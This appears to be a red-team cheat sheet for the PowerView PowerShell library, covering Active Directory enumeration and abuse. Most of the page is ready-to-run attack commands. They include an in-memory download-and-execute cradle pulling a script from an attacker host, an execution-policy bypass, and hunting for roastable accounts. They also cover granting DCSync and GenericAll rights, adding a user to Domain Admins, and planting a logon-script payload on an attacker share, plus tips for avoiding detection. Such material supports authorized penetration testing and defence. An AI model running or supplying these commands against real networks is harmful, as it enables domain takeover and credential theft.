PowerView

PowerView is the go-to PowerShell library for AD enumeration and object manipulation from Windows. Import it once and use it for everything from basic user enumeration to ACL abuse and targeted Kerberoasting.

Setup

PowerSploit
Standalone
Dev Branch
In-Memory

# Download and extract PowerSploit
Invoke-WebRequest -Uri "https://github.com/PowerShellMafia/PowerSploit/archive/master.zip" -OutFile "PowerSploit.zip"
Expand-Archive -Path "PowerSploit.zip" -DestinationPath "C:\Tools\"

# Import PowerView from the extracted path
Import-Module C:\Tools\PowerSploit-master\Recon\PowerView.ps1

# Download standalone PowerView
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1" -OutFile "PowerView.ps1"

# Import
Import-Module .\PowerView.ps1

# Or dot-source
. .\PowerView.ps1

# Dev branch has more features
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1" -OutFile "PowerView-dev.ps1"
Import-Module .\PowerView-dev.ps1

# Load directly from memory — avoids touching disk
IEX (New-Object Net.WebClient).DownloadString('http://$LHOST/PowerView.ps1')

# Bypass execution policy without changing system settings
powershell -ep bypass
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass

# List all PowerView functions
Get-Command -Module PowerView
Get-Command *-Domain*
Get-Command *-Net*

Credential Objects

Run commands as a different user without switching your session. Required when you have creds for another account but are not running as them.

$pass = ConvertTo-SecureString '$PASSWORD' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('$DOMAIN\$USER', $pass)

# Pass $cred to any PowerView cmdlet
Get-DomainUser -Credential $cred
Get-DomainGroup -Credential $cred -Identity "Domain Admins"

PS Remoting

Interactive PowerShell sessions over WinRM (port 5985/5986). Requires Remote Management Users membership or local admin.

# Interactive session
Enter-PSSession -ComputerName $TARGET -Credential $cred

# Single remote command
Invoke-Command -ComputerName $TARGET -Credential $cred -ScriptBlock { whoami }

# Load a script on the remote host
Invoke-Command -ComputerName $TARGET -Credential $cred -FilePath .\PowerView.ps1

# Persistent session (reuse for multiple commands)
$session = New-PSSession -ComputerName $TARGET -Credential $cred
Invoke-Command -Session $session -ScriptBlock { whoami }
Enter-PSSession -Session $session

# Copy files over PS Remoting
Copy-Item -Path .\tool.exe -Destination C:\Windows\Temp\tool.exe -ToSession $session

Domain Information

Get-Domain                    # current domain info
Get-DomainController          # all DCs
Get-DomainPolicy              # password policy, Kerberos policy
Get-DomainTrust               # all trust relationships
Get-Forest                    # forest information

Users

Basic Enumeration

Get-DomainUser                                                   # all users
Get-DomainUser -Identity $USER                                   # specific user
Get-DomainUser -Properties samaccountname,description,pwdlastset # targeted attributes
Get-DomainUser -AdminCount                                       # privileged users

Attack Targets

# Kerberoastable
Get-DomainUser -SPN
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,pwdlastset,lastlogon
Get-DomainUser -SPN -AdminCount                                  # high-value targets
Get-DomainUser -SPN | Where-Object { $_.pwdlastset -lt (Get-Date).AddDays(-365) }

# AS-REP roastable
Get-DomainUser -PreauthNotRequired
Get-DomainUser -UACFilter DONT_REQ_PREAUTH

# Password not required
Get-DomainUser -PasswordNotRequired

Groups

Get-DomainGroup                                                      # all groups
Get-DomainGroup -Identity "Domain Admins"                            # specific group
Get-DomainGroupMember -Identity "Domain Admins"                      # members
Get-DomainGroupMember -Identity "Domain Admins" -Recurse             # recursive membership
Get-DomainGroup -UserName $USER                                      # groups for a user

# Local groups on remote machines
Get-NetLocalGroup -ComputerName $TARGET
Get-NetLocalGroupMember -ComputerName $TARGET -GroupName Administrators

Computers

Basic Enumeration

Get-DomainComputer                                                           # all computers
Get-DomainComputer -OperatingSystem "*Server 2019*"                          # filter by OS
Get-DomainComputer -Properties dnshostname,operatingsystem,lastlogontimestamp

Delegation

Get-DomainComputer -UnconstrainedDelegation                                  # unconstrained
Get-DomainComputer -TrustedToAuth                                            # constrained
Get-DomainUser -TrustedToAuth                                                # constrained (users)

# Resource-based constrained delegation
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ObjectAceType -eq "ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity" }

Sessions & Logons

# Sessions (requires admin on remote)
Get-NetSession
Get-NetSession -ComputerName $TARGET

# Logged-on users
Get-NetLoggedon -ComputerName $TARGET
Get-NetLoggedon -ComputerName $TARGET -LocalOnly

# Sweep all domain computers
Get-DomainComputer | ForEach-Object { Get-NetSession -ComputerName $_.dnshostname }

Get-NetShare                           # local shares
Get-NetShare -ComputerName $TARGET     # remote shares
Find-DomainShare                       # all shares across domain
Find-DomainShare -CheckShareAccess     # only readable shares

# Sweep all computers
Get-DomainComputer | ForEach-Object { Get-NetShare -ComputerName $_.dnshostname }

SPNs

# All SPNs
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname

# Filter by service type
Get-DomainUser -SPN | Where-Object { $_.serviceprincipalname -like "*SQL*" }
Get-DomainUser -SPN | Where-Object { $_.serviceprincipalname -like "*HTTP*" }

# Unique service types
Get-DomainUser -SPN | ForEach-Object { $_.serviceprincipalname } | ForEach-Object { $_.split('/')[0] } | Sort-Object -Unique

ACL Enumeration

Reading ACLs

Get-DomainObjectAcl -Identity "Domain Admins"
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs
Get-DomainObjectAcl -Identity $USER -ResolveGUIDs
Find-InterestingDomainAcl
Find-InterestingDomainAcl -ResolveGUIDs

Finding Exploitable Rights

# Objects modifiable by current user
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object { $_.IdentityReferenceName -like "*$env:USERNAME*" }

# By right type
Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -like "*GenericAll*" }
Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -like "*WriteDacl*" }
Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -like "*WriteOwner*" }

# By SID
Get-DomainObjectAcl | Where-Object { $_.SecurityIdentifier -eq "$SID" }

Trusts

Get-DomainTrust                                                      # all trusts
Get-ForestTrust                                                      # forest-level trusts
Get-DomainTrustMapping                                               # full trust map
Get-DomainTrust | Where-Object { $_.TrustDirection -eq "Bidirectional" }

# Cross-domain enumeration
Get-DomainUser -Domain $TRUSTED_DOMAIN
Get-DomainGroup -Domain $TRUSTED_DOMAIN
Get-DomainForeignGroupMember                                         # foreign members in local groups
Get-DomainForeignUser                                                # local users in foreign groups

Local Admin Access

Find-LocalAdminAccess                                                # machines where you have local admin
Test-AdminAccess -ComputerName $TARGET
Find-DomainLocalGroupMember -GroupName Administrators

# Sweep all computers
Get-DomainComputer | ForEach-Object { Test-AdminAccess -ComputerName $_.dnshostname }

GPO & OU

# GPOs
Get-DomainGPO
Get-DomainGPO -ComputerIdentity $TARGET
Get-DomainGPOLocalGroup
Get-DomainGPOComputerLocalGroupMapping
Get-DomainGPO | Where-Object { $_.displayname -like "*password*" }

# OUs
Get-DomainOU
Get-DomainComputer -SearchBase "OU=Servers,DC=$DC,DC=com"
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -like "*GenericAll*" }

LDAP Filters

# Users with password not required (UAC flag 32)
Get-DomainUser -LDAPFilter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))"

# Users with a description set
Get-DomainUser -LDAPFilter "(&(objectCategory=person)(objectClass=user)(description=*))"

# Computers running Server OS
Get-DomainComputer -LDAPFilter "(&(objectCategory=computer)(operatingSystem=*Server*))"

# Groups with "admin" in name
Get-DomainGroup -LDAPFilter "(&(objectCategory=group)(name=*admin*))"

ACL Manipulation

Modify object permissions. Requires ownership, WriteDACL, or GenericAll on the target.

# Grant GenericAll
Add-DomainObjectAcl -TargetIdentity $TARGET -PrincipalIdentity $USER -Rights All
Add-DomainObjectAcl -Credential $cred -TargetIdentity $TARGET -PrincipalIdentity $USER -Rights All

# Grant WriteMember (enough to add to group)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "Domain Admins" -PrincipalIdentity $USER -Rights WriteMembers

# Grant DCSync on the domain object
Add-DomainObjectAcl -TargetIdentity "$DOMAIN" -PrincipalIdentity $USER -Rights DCSync

# Clean up after use
Remove-DomainObjectAcl -TargetIdentity $TARGET -PrincipalIdentity $USER -Rights All

Group Manipulation

Requires WriteMember or GenericWrite on the group.

Add-DomainGroupMember -Identity "Domain Admins" -Members $USER
Add-DomainGroupMember -Credential $cred -Identity "Domain Admins" -Members $USER

Remove-DomainGroupMember -Identity "Domain Admins" -Members $USER

Get-DomainGroupMember -Identity "Domain Admins"      # verify

Object Property Modification

Requires GenericWrite or WriteProperty on the target.

# Set SPN (Targeted Kerberoasting)
Set-DomainObject -Identity $TARGET -Set @{serviceprincipalname="fake/spn.$DOMAIN"}
Set-DomainObject -Identity $TARGET -Clear serviceprincipalname

# Logon script abuse (runs on next logon)
Set-DomainObject -Identity $TARGET -Set @{scriptpath="\\$LHOST\share\payload.bat"}

# Disable pre-authentication (AS-REP roastable)
Set-DomainObject -Identity $TARGET -XOR @{useraccountcontrol=4194304}

Owner to Group Membership Flow

A common BloodHound path: you own a group but do not have WriteMember. As owner you control the DACL, so you grant yourself WriteMember first.

Right	What it means
Owner	Controls the DACL, can grant any permission on the object
WriteMember / GenericWrite	Can add or remove members from the group
Member	Is listed inside the group and inherits its privileges

Build a credential object for the owning account

$pass = ConvertTo-SecureString '$PASSWORD' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('$DOMAIN\$USER', $pass)

Grant yourself WriteMember on the group

Add-DomainObjectAcl -Credential $cred -TargetIdentity "Domain Admins" -PrincipalIdentity "$DOMAIN\$USER" -Rights WriteMembers

Add yourself as a member

Add-DomainGroupMember -Credential $cred -Identity "Domain Admins" -Members "$DOMAIN\$USER"

Verify

Get-DomainGroupMember -Identity "Domain Admins"

Operational Tips

# Use alternate credentials for all queries
$cred = Get-Credential
Get-DomainUser -Credential $cred

# Target a specific DC (useful across trusts or with multiple DCs)
Get-DomainUser -Server $DC_IP

# Reduce query size to avoid detection / timeouts
Get-DomainUser -ResultPageSize 100

# Verbose output for debugging
$VerbosePreference = "Continue"
Get-DomainUser -Identity $USER -Verbose

Overview

Enumeration

Attacks

ADCS

ADFS

Hardened Environments

Setup

Credential Objects

PS Remoting

Domain Information

Users

Groups

Computers

Sessions & Logons

Shares

SPNs

ACL Enumeration

Trusts

Local Admin Access

GPO & OU

LDAP Filters

ACL Manipulation

Group Manipulation

Object Property Modification

Owner to Group Membership Flow

Operational Tips

​Setup

​Credential Objects

​PS Remoting

​Domain Information

​Users

​Groups

​Computers

​Sessions & Logons

​Shares

​SPNs

​ACL Enumeration

​Trusts

​Local Admin Access

​GPO & OU

​LDAP Filters

​ACL Manipulation

​Group Manipulation

​Object Property Modification

​Owner to Group Membership Flow

​Operational Tips

Setup

Credential Objects

PS Remoting

Domain Information

Users

Groups

Computers

Sessions & Logons

Shares

SPNs

ACL Enumeration

Trusts

Local Admin Access

GPO & OU

LDAP Filters

ACL Manipulation

Group Manipulation

Object Property Modification

Owner to Group Membership Flow

Operational Tips